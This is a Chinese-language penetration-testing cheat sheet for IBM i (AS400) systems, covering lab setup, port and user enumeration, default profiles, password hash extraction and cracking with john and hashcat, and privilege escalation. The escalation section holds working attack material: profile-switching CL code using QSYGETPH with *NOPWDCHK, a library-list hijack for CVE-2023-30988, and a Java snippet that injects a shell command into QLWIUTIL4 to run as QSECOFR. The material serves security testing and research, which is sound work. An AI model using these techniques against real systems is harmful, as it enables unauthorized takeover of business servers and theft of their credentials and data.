AS400
AS400 (IBM i) 是 IBM 开发的一种中型计算机系统,最初于 1988 年发布。现在被称为在 Power Systems 上运行的 IBM i,因其稳定性、安全性和集成数据库 (DB2 for i) 而被广泛用于商业应用。
摘要
实验环境
- mainframed/DC30_Workshop - DEFCON 30 大型机缓冲区溢出工作坊容器
-
mainframed/DVCA - 易受攻击的 CICS 应用程序 (Damn Vulnerable CICS Application)
docker run -d \ --name=dvca \ -e HUSER=docker \ -e HPASS=docker \ -p 21:21 \ -p 23:23 \ -p 3270:3270 \ -p 3505:3505 \ -p 3506:3506 \ -p 8888:8888 \ -v /opt/docker/dvca:/config \ -v /opt/docker/dvca/printers:/printers \ -v /opt/docker/dvca/punchcards:/punchcards \ -v /opt/docker/dvca/logs:/logs \ -v /opt/docker/dvca/dasd:/dasd \ -v /opt/docker/dvca/certs:/certs \ --restart unless-stopped \ mainframed767/dvca:latest
枚举
默认情况下,FTP 服务会发送带有以下前缀的横幅 (banner):
AS400 设备中的常用端口:
20, 21, 23, 25, 80, 110, 137, 138, 139, 389, 443, 446, 448, 449, 512, 910, 992, 2001, 2010, 3000, 5061, 5544, 5555, 5566, 5577, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 9470, 9471, 9472, 9473, 9474, 9475, 9476
| 名称 | 描述 | 端口 | 端口 (SSL) |
|---|---|---|---|
| FTP | FTP 服务,用于访问 AS/400 文件系统 | 20,21 | / |
| Telnet | Telnet 服务,用于访问 5250 仿真 | 23 | 992 |
| SMTP | SMTP 服务,用于提供邮件传输 | 25 | / |
| HTTP | HTTP 服务,用于提供网页 | 80 | 443 |
| POP3 | POP3 服务,用于提供邮件获取 | 110 | 910 |
| NetServer | NetServer 允许从 Windows PC 访问 AS/400 集成文件系统 | 137,138,139,445 | / |
| LDAP | LDAP 提供网络目录服务 | 389 | 636 |
| DDM | DDM 服务,用于通过 DRDA 访问数据以及进行记录级访问。 | 446 | 448 |
| As-svrmap | 端口映射器,返回所请求服务的端口号。 | 449 | / |
| As-rmtcmd | 远程命令服务,用于从 PC 向 AS/400 发送命令以及进行程序调用。 | 512 | / |
| As-admin-http | HTTP 服务管理。 | 2001 | 2010 |
| As-sts | 服务工具服务 | 3000 | / |
| As-mtgc | Management Central 服务,用于在网络中管理多个 AS/400。 | 5555,5544 | 5566,5577 |
| As-central | Central 服务,在需要 Client Access 许可证或下载转换表时使用。 | 8470 | 9470 |
| As-database | 数据库服务,用于访问 AS/400 数据库。 | 8471 | 9471 |
| As-dtaq | 数据队列服务,允许访问 AS/400 数据队列,用于在应用程序之间传递数据。 | 8472 | 9472 |
| As-file | 文件服务,用于访问 AS/400 文件系统的任何部分。 | 8473 | 9473 |
| As-netprt | 打印机服务,用于访问 AS/400 已知的打印机。 | 8474 | 9474 |
| As-rmtcmd | 远程命令服务,用于从 PC 向 AS/400 发送命令以及进行程序调用。 | 8475 | 9475 |
| As-signon | 登录服务,用于每个 Client Access 连接以验证用户及更改密码。 | 8476 | 9476 |
访问与审计
访问:
- tn5250/tn5250 - 基于 curses 的 5250 终端客户端
- x3270 - IBM 3270 终端模拟器
- ayoul3/wc3270_hacked - wc3270 的破解版,移除了字段保护并显示隐藏字段
- Mocha TN3270 - 提供用于访问 IBM 大型机的 TN3270 仿真
- Mocha TN5250 - 提供用于访问 IBM 大型机的 TN5250 仿真
- IBM i Access Client Solutions (5250 控制台):
servername.com/WSG或 Telnet - IBM Navigator for i (Web 界面):
http://systemName:2001
已注销的配置文件仍可使用——不是用于打开 5250 会话,但应可用于其他协议。
所有对象都可以从 DB2 数据库进行查询。
审计:
- hackthelegacy/hack400tool - 用于 IBM Power Systems 的安全处理工具
- ayoul3/cicspwn - 用于对 z/OS 上的 CICS 交易服务器进行渗透测试的工具。
- ayoul3/cicsshot - 用于对 CICS 交易进行截图的工具
- sensepost/birp - 大型机勘测与利用工具 (Big Iron Recon & Pwnage)

默认凭据
其他默认配置文件:
QAUTPROF QBRMS QCLUMGT QCLUSTER QCOLSRV
QDBSHR QDBSHRDO QDFTOWN QDIRSRV QDLFM
QDOC QDSNX QEJB QFNC QGATE
QLPAUTO QLPINSTALL QMQM QMQMADM QMSF
QNETSPLF QNFSANON QNOTES QNTP QPEX
QPGMR QPM400 QPRJOWN QRJE QRMTCAL
QSECOFR QSNADS QSPL QSPLJOB QSRV
QSRVBAS QSVCDRCTR QSYS QSYSOPR QTCP
QTFTP QTMHHTP1 QTMHHTTP QTMPLPD QTMTWSG
QTSTRQS QUMB QUSER QYPSJSVR QYPUOWN30
用户枚举
Telnet
Telnet 中的身份验证错误消息
- CPF1107 : 用户配置文件的密码不正确
- CPF1109 : 未获得子系统授权。
- CPF1110 : 未获得工作站授权。
- CPF1116 : 下一次无效的登录尝试将停用设备。
- CPF1118 : 用户 XYZ 没有关联的密码。
- CPF1120 – 用户 AABBA 不存在
- CPF1133 值 X Z S 不是有效的名称
- CPF1392 : 下一次无效的登录将禁用用户配置文件。
- CPF1394 : 用户配置文件 XYZ 无法登录。
POP3
POP3 中的身份验证错误消息
- CPF2204 : 未找到用户配置文件
- CPF22E2 : 用户配置文件的密码不正确
- CPF22E3 : 用户配置文件已被禁用
- CPF22E4 : 用户配置文件的密码已过期
- CPF22E5 : 用户配置文件没有关联的密码
FTP
创建一个指向 QSYS 库的符号链接并列出 *.USRPRF
open as400.victim.com
as400user
password
quote site namefmt 1
quote site listfmt 1
mkdir /test12345
quote rcmd ADDLNK OBJ('/qsys.lib')
NEWLNK('/test12345/qsys')
dir /test12345/qsys/*.usrprf
常用命令
| 命令 | 描述 |
|---|---|
DSPUSRPRF <user> |
显示用户配置文件 |
WRKUSRPRF <user> |
显示用户,查找组配置文件和补充组 |
WRKUSRPRF *ALL |
显示所有用户 |
DSPPGM LIB/PROGRAM |
显示程序信息 |
WRKOBJ (*ALL QSYS *LIB) |
列出库 |
CHGUSRPRF USRPRF(<USERNAME>) PASSWORD(<NEW_PASSWORD>) |
设置用户密码 |
QSH |
启动 QSHELL 实例 |
检查 PGM/SRVPGM 中的字符串
NMAP 脚本
-
nse/tn3270-screen - 连接到 tn3270 “服务器”并返回屏幕。
-
nse/tso-enum - IBM 大型机 (z/OS) 的 TSO 用户 ID 枚举器。
-
nse/tso-brute - TSO 账户暴力破解器。
-
nse/cics-user-enum - 用于 CESL/CESN 登录界面的 CICS 用户 ID 枚举脚本。
-
nse/cics-user-brute - 用于 CESL 登录界面的 CICS 用户 ID 暴力破解脚本。
-
nse/cics-enum - IBM 大型机的 CICS 交易 ID 枚举器。
-
nse/lu-enum - 尝试枚举 TN3270E 服务器的逻辑单元 (Logical Units, LU)。
-
nse/vtam-enum - 暴力破解 VTAM 应用程序 ID。
用户类别
用户类别 (USRCLS) 定义了用户配置文件预定义的一组权限和系统特权。它决定了用户在系统中的一般角色和访问级别。然而,用户类别本身并不直接授予特殊权限 (SPCAUT);相反,它作为分配权限的指南。
在此示例中,我们通过分配 *SECOFR (安全主管) 用户类别 (USRCLS) 来创建一个高权限用户。通过将特殊权限属性 (SPCAUT) 设置为 *USRCLS,系统会自动授予用户与 *SECOFR 类别相关联的所有特殊权限。
| 用户类别 | 用户类别的特殊权限 |
|---|---|
| *SECOFR (安全主管) | 系统完全控制权,包括用户管理和安全。拥有所有特殊权限 |
| *SECADM (安全管理员) | 可以管理用户,但不能管理系统范围的设置。具有 *SECADM 特殊权限 |
| *SYSOPR (系统操作员) | 可以管理系统运行,但不能管理安全设置。具有 *SAVSYS 和 *JOBCTL 特殊权限 |
| *ALLOBJ (全对象权限) | 可以访问所有对象,但可能缺乏安全控制权。 |
| *PGMR | 可以创建和修改程序,但对系统管理功能的访问权限有限。无特殊权限 |
| *USER | 具有最小特权的普通用户,通常用于一般系统使用。无特殊权限 |
权限
在 AS400 (IBM i) 中,权限控制用户对系统对象 (库、文件、程序等) 的访问。它通过定义用户对特定对象的操作来确保安全。
*ALL: 完全访问 (读取、写入、删除、执行)。*CHANGE: 修改但不删除。*EXCLUDE: 无权访问。*USE: 仅限读取或执行。*USERDEF: 基于用户特定需求的自定义权限设置。
用户的安全权限标准:
USRCLS应为*USERSPCAUT应为*NONEAUT应始终为*EXCLUDE*USRPRF应具有对其自身的权限*PUBLIC应为*EXCLUDE- 不应存在其他权限。
Object . . . . . . . : XXXXXX Owner . . . . . . . : QSECOFR
Library . . . . . : QSYS Primary group . . . : *NONE
Object type . . . . : *USRPRF ASP device . . . . . : *SYSBAS
Object
User Group Authority
*PUBLIC *EXCLUDE
QSECOFR *ALL
XXXXXX USER DEF
特殊权限默认值 (安全级别 30 或以上)
| 用户类别 | 特殊权限 |
|---|---|
| *SECOFR | *ALL |
| *SECADM | *SECADM |
| *PGMR | *NONE |
| *SYSOPR | JOBCTL,SAVSYS |
| *USER | *NONE |
特殊权限
特殊权限用于指定用户在系统资源上可以执行的操作类型。可以授予用户一个或多个特殊权限。
*ALLOBJ特殊权限:全对象 (*ALLOBJ) 特殊权限允许用户访问系统上的任何资源,无论是否为该用户设置了私有权限。*SECADM特殊权限:安全管理员 (*SECADM) 特殊权限允许用户创建、更改和删除用户配置文件。*JOBCTL特殊权限:作业控制 (*JOBCTL) 特殊权限允许用户更改作业和打印的优先级、在作业完成前结束作业或在输出打印前将其删除。如果输出队列指定了OPRCTL(*YES),*JOBCTL特殊权限还可以允许用户访问机密的多段输出 (spooled output)。*SPLCTL特殊权限:排队控制 (*SPLCTL) 特殊权限允许用户执行所有排队控制功能,例如更改、删除、显示、保留和释放脱机文件 (spooled files)。*SAVSYS特殊权限:保存系统 (*SAVSYS) 特殊权限授予用户保存、恢复和释放系统上所有对象存储的权限,无论用户是否具有这些对象的对象存在权限。*SERVICE特殊权限:服务 (*SERVICE) 特殊权限允许用户使用 STRSST 命令启动系统服务工具。此特殊权限允许用户通过仅有的*USE权限来调试程序,并执行显示和更改服务功能。它还允许用户执行跟踪 (trace) 功能。*AUDIT特殊权限:审计 (*AUDIT) 特殊权限授予用户查看和更改审计特征的能力。*IOSYSCFG特殊权限:系统配置 (*IOSYSCFG) 特殊权限授予用户更改系统配置方式的能力。具有此特殊权限的用户可以添加或移除通信配置信息、操作 TCP/IP 服务器以及配置 Internet 连接服务器 (ICS)。大多数配置通信的命令都需要*IOSYSCFG特殊权限。
# 打印具有特殊权限的用户
PRTUSRPRF TYPE(*ALL) SELECT(*SPCAUT) SPCAUT(*ALL)
# 打印库对象的权限
DSPOBJAUT OBJ(MYLIB) OBJTYPE(*LIB)
QSECOFR (Security Officer 的缩写) 是最高级别的用户配置文件,类似于 Unix/Linux 中的 “root” 用户或 Windows 中的 “Administrator” 账户。它对系统拥有完全控制权,包括安全设置、用户管理和系统配置。
*ALLOBJ (全对象权限) 特殊权限允许用户访问系统上的所有对象,无论其特定的对象级权限如何。具有此权限的用户几乎可以在系统上执行任何操作,使其成为一种强大且敏感的特权。
默认情况下,QSECOFR 具有 *ALLOBJ 以及其他特殊权限,使其成为 IBM i 上最强大的用户配置文件。
继承权限 (Adopted Authority)
相当于 Linux 中的 setuid。
继承权限允许用户获取超出 *PUBLIC 和私有权限所授予范围的对象权限。例如,假设用户通常被限制访问工资单文件,但为了执行工作,该用户必须能够运行工资单报告。继承权限允许用户获取足够的权限来读取用于该工资单报告的文件,而无需在运行报告的程序之外授予该用户对该文件的任何权限。
在向 PAYLIST 授予继承权限之前,您必须确定它已经具备哪些权限。在操作系统命令行中输入以下内容:
以 QAUTPROF 运行的继承权限示例
如果用户配置文件为 *OWNER,则程序运行时会结合程序所有者的权限与运行该程序的用户的权限。
密码破解
要求:
*ALLOBJ特权:对所有对象的完全控制*SECADM特权:配置文件管理,低级系统访问
使用 QSYRUPWD 提取哈希:
| 描述 | 格式 | 类型 | 示例 |
|---|---|---|---|
| 接收变量 (Receiver variable) | 输出 | Char(*) | 2000B |
| 接收变量的长度 | 输入 | Binary(4) | |
| 格式 (Format) | 输入 | Char(8) | "UPWD0100" |
| 用户配置文件名称 | 输入 | Char(10) | userName |
| 错误代码 | I/O | Char(*) |
输出格式 UPWD0100 如下文所述:
| 偏移 (十进制) | 偏移 (十六进制) | 类型 | 字段 |
|---|---|---|---|
| 0 | 0 | BINARY(4) | 返回的字节数 |
| 4 | 4 | BINARY(4) | 可用的字节数 |
| 8 | 8 | CHAR(10) | 用户配置文件名称 |
| 18 | 12 | CHAR(*) | 加密的用户名密码数据 |
加密密码数据十六进制字符串
| 偏移 (十进制) | 长度 (字符) | 字段 | QPWDLVL |
|---|---|---|---|
| 0 | 16 | DES 56 位加密密码替换 (RFC2877) | 0, 1, 2* |
| 16 | 16 | DES 56 位加密密码替换 (RFC2877) | 0, 1, 2* |
| 32 | 32 | LM 哈希 | 0, 1, 2* |
| 64 | 4 | 无数据 | |
| 68 | 40 | HMAC-SHA1 加密密码令牌 (RFC4777)? | 0, 1, 2, 3 |
| 108 | 40 | HMAC-SHA1 加密密码令牌 (RFC4777)? | 0, 1, 2, 3 |
| 148 | 6 | 无数据 | |
| 154 | 384 | 未知 (哈希?) 数据 | 0, 1, 2, 3 |
如果机器仍在使用 QPWDLVL < 3,那么攻击者仍然可以恢复 DES 和 LM 哈希。
| 哈希 | John |
|---|---|
| LM | john --format=LM {filename} |
| IBM DES | john --format=as400-des {filename} |
| SHA1 大写 | john --format=as400-ssha1 {filename} |
# 针对 LM 哈希的 Hashcat 命令
.\hashcat.exe -m 3000 -a 3 --increment --username -1 ?u?d?s .\hashes.txt ?1?1?1?1?1?1?1
- willstruggle/ibmiscanner2john.py - 将 userid:hash 格式 (例如旧版 ibmiscanner 工具产生的文件) 的文件转换为 JtR 可以处理的 as400-sha 格式
- hackthelegacy/pwd400gen.py - 用于 IBM Power Systems 的密码哈希生成器
提权
初始程序跳出
- 点击 “
Attn” 按钮。注意中断键 (ATTN) 允许已验证用户中断/结束一个进程,并显示带有附加功能的菜单。 - 按
F9运行命令
劫持配置文件 - SECOFR 安全类别
被分配 *SECOFR (安全主管) 安全类别的用户配置文件会自动获得 *ALLOBJ (全对象) 权限,从而可以不受限制地访问所有系统对象。请参阅 用户类别
使用 DSPUSRPRF 以多种不同格式显示用户配置文件。
提交此项的用户必须具有 *ALLOBJ 和 *JOBCTL 权限。
-
以
<USERNAME>身份提交作业 -
然后检查作业日志:
劫持配置文件 - 权限
-
打印公共权限:查看是否有任何用户配置文件的权限未设置为默认的
*PUBLIC AUT(*EXCLUDE) -
打印私有权限
查找对他人的用户配置文件具有 *USE 权限或更好权限 (例如 *CHANGE, *ALL) 的用户。
此 SBMJOB 命令将提交一个后台作业,在 HIJACKED_USER 用户配置文件下运行,并将打印出 HIJACKED_USER 用户配置文件具有访问权限的 FILE_OF_HIJACKED_USER 文件中的记录。
提交作业 (SBMJOB) 命令允许正在运行的作业将另一个作业提交到作业队列中,以便稍后作为批处理作业运行。新作业的消息队列中只能放置一个请求数据元素。- IBM/SBMJOB
劫持配置文件 - 配置文件切换
用于更改运行应用程序的线程用户配置文件,以获得更高的权限。
/* 调用 QSYGETPH 为用户获取配置文件句柄。 */
/* 注意:将 USERPROFILE 更改为您想要切换到的用户。 */
CALL QSYS/QSYGETPH ('USERPROFILE' '*NOPWDCHK' &HNDL)
/* 调用 QWTSETP 切换到该配置文件。 */
CALL QSYS/QWTSETP &HNDL
| 值 | 描述 |
|---|---|
*NOPWD |
请求配置文件句柄的用户必须对该用户配置文件具有 *USE 权限。不会为禁用的用户配置文件创建配置文件句柄。不会为密码已过期的用户配置文件创建配置文件句柄。 |
*NOPWDCHK |
请求配置文件句柄的用户必须对该用户配置文件具有 *USE 权限。如果该配置文件已被禁用,则请求配置文件句柄的用户必须具有 *ALLOBJ 和 *SECADM 特殊权限才能获取句柄。如果密码已过期,则请求配置文件句柄的用户必须具有 *ALLOBJ 和 *SECADM 特殊权限才能获取句柄。 |
*NOPWDSTS |
请求配置文件句柄的用户必须对该用户配置文件具有 *USE 权限。不会为禁用的用户配置文件创建配置文件句柄。如果密码已过期,则请求配置文件句柄的用户必须具有 *ALLOBJ 和 *SECADM 特殊权限才能获取句柄。 |
您无法为以下系统提供的用户配置文件获取配置文件句柄:
QAUTPROF QDLFM QMSF QSNADS QTSTRQS
QCLUMGT QDOC QNETSPLF QSPL
QCOLSRV QDSNX QNFSANON QSPLJOB
QDBSHR QFNC QNTP QSRVAGT
QDBSHRDO QGATE QPEX QSYS
QDFTOWN QLPAUTO QPM400 QTCP
QDIRSRV QLPINSTALL QRJE QTFTP
JDBC:
CREATE OR REPLACE PROCEDURE J_QSYGETPH (IN USERNAME VARBINARY(10), IN PASSWORD VARBINARY(10), OUT HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QSYGETPH LANGUAGE C++ GENERAL
CALL J_QSYGETPH('USERPROFILE', "*NOPWD", PROFILE_HANDLE)
CREATE OR REPLACE PROCEDURE J_QWTSETP (IN HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QWTSETP LANGUAGE C++ GENERAL
CALL J_QWTSETP(PROFILE_HANDLE)
非限定库调用
“使用库列表而不是限定库名称的应用程序存在潜在的安全风险。拥有使用库列表命令授权的用户可能会运行程序的其他版本。” - ibm.com/security-library-library-lists
| 代码 | 检查 |
|---|---|
| CALL LIBFOO/OBJBAR | 安全 (SECURE) |
| CALL OBJBAR | 易受攻击 (VULNERABLE) |
示例:
CVE-2023-30988: IBM i 上的 LIBL 滥用、PATH 滥用 - 库列表利用
DSPUSRPRF <user> -- 显示用户配置文件
CRTLIB <user> -- 创建库
STRSEU <user>/QCLSRC QFQSES -- 显示 QFQSES 的源代码,
-- 编译它需要
PGM
CALL QSYS/QCMD
ENDPGM
ADDLIBLE <user> -- 将用户添加到库中
DSPAUTUSR -- 显示用户配置文件
CALL QFAX/QFFSTRFCPP PARM(1 2) -- 调用易受攻击程序
DSPAUTUSR -- 显示用户配置文件,QAUTPROF 和 QFAXMSF 应可用
CALL <user>/ESCALATE QFAXMSF -- 切换配置文件
-- 需要编译 ESCALATE 程序
PGM PARM(&USER)
DCL VAR(&USER) TYPE(*CHAR) LEN(10)
DCL VAR(&HANDLE) TYPE(*CHAR) LEN(12)
DCL VAR(&ERROR) TYPE(*CHAR) LEN(4)
CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
CALL PGM(QSYGETPH) PARM(&USER *NOPWD &HANDLE &ERROR)
CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
CALL PGM(QWTSETP) PARM(&HANDLE &ERROR)
ENDPGM
DSPAUTUSR -- 应显示所有配置文件
-- QFAXMSF 具有 *ALLOBJ
从 ALLOBJ 到 SECADM
-
查询用户信息:
-
创建一个 CL 脚本来提权,并使用
STRPDM进行编译 (输出为PRIVESC) - 调用生成的 PGM (程序对象):
CALL PENTEST/PRIVESC USERWITHSECADM
任意命令执行
-
QSECOFR 用户 - 编译为
.jar文件并在 QSH 中运行:java -jar /home/user/exploit.jar// 使用 JTOpen 触发 sPGMCall.setProgram("/QSYS.LIB/QLWIUTIL4.SRVPGM"); String str = "`id>/tmp/xy.txt`"; // 使用 QSECOFR 权限执行命令 ProgramParameter[] programParameterArr = { new ProgramParameter(2, new AS400Text(str.length() + 1, system).toBytes(str + (char) 0)), new ProgramParameter(2, new byte[16384], 16384) // hatmanager.jar }; sPGMCall.setParameterList(programParameterArr); sPGMCall.setProcedureName("QlwiRelayCall"); -
QSECOFR 用户 - CVE-2023-40685
- QDIRSRV 用户 - CVE-2023-40378
- QYPSJSVR 用户 - CVE-2023-40686
- QBRMS 用户 - CVE-2023-40377
参考资料
- Abusing Adopted Authority on IBM i - Zoltán Pánczél - January 20, 2023
- Adopted Authority - IBM Support - October 3, 2024
- An IBM i Hacking Tale - Pablo Zurro - April 6, 2023
- Another Tale of IBM i (AS/400) Hacking - Zoltán Pánczél - September 28, 2022
- AS/400 for pentesters - Black Hat Europe 2006 - Shalom Carmel
- Awesome-Mainframe-Hacking - samanL33T - July 10, 2019
- Below MI - IBM i for Hackers - Silent Signal - August 22, 2024
- Common Misconcepts on IBM i User Class - *SECOFR - Dan Riehl - September 12, 2013
- FrenchIBMi - Christian Massé - March 15, 2017
- Geeking Out On IBM i - Part 1 - Anonymous - August 31, 2021
- Guru: IBM i *USRPRF Security - Bruce Bading - May 23, 2022
- Hack the Legacy: IBM I aka AS400 Revealed - Bart Kulach - December 25, 2015
- Hack the legacy! IBM i (aka AS/400) revealed - Bart Kulach - May 11, 2021
- Hacking IBM AS/400 in 2024: QShell and Remote Code Execution - Mateusz Lewczak - October 04, 2024
- How to get & crack AS/400 hashes? - Fossies - November 7, 2017
- IBM AS/400 - Configuration TCP/IP - Podalirius - August 5, 2021
- IBM I FOR WINTEL HACKERS - TROOPERS 2024 - ZOLTÁN PÁNCZÉL, BÁLINT VARGA-PERKE - June 26th, 2024
- IBM i Privileged Users – A Unique Security Challenge - Patrick Townsend - June 27, 2017
- IBM i Security Demystified Blog, Episode 1 - Matthew Carpenter - June 23, 2020
- IPL types and modes for IBM AS/400 - Podalirius - June 16, 2021
- Is Your IBM i (iSeries/AS400) Security Vulnerable To Privilege Escalation And Lack Of Proper Access Controls? - Bob Losey - June 6, 2022
- Pentest AS/400 - COGICEO
- Re: [PEN-TEST] Pen-Testing AS/400 - Al Sparks - December 12, 2000
- Restoring an IBM AS/400 (9401-150) - Podalirius - June 10, 2021
- Security Assessment of the IBM i (AS 400) System – Part 1 - Shashank Gosavi - August 14, 2020
- Security Audit of IBM AS/400 and System i : Part 1 - Yogesh Prasad - August 21, 2018
- Security Audit of IBM AS/400 and System i : Part 2 - Yogesh Prasad - August 22, 2018
- Simple IBM i (AS/400) hacking - Zoltán Pánczél - September 5, 2022
- Special authority - IBM - April 11, 2023
- Stealing User Profiles! Exploiting Unsecured User Profiles on IBM i. - Dan Riehl - December 28, 2017
- TCP/IP Ports Required for IBM i Access and Related Functions - IBM - December 4, 2023
- TROOPERS24: IBM i for Wintel Hackers - Bálint Varga-Perke, Zoltán Pánczél - Septemeber 2, 2024
- Vulnerability Archeology: Stealing Passwords with IBM i Access Client Solutions - Silent Signal - January 21, 2025
- Why Building an OS/400 Lab at Home Was Harder Than I Expected - Podalirius - January 24, 2020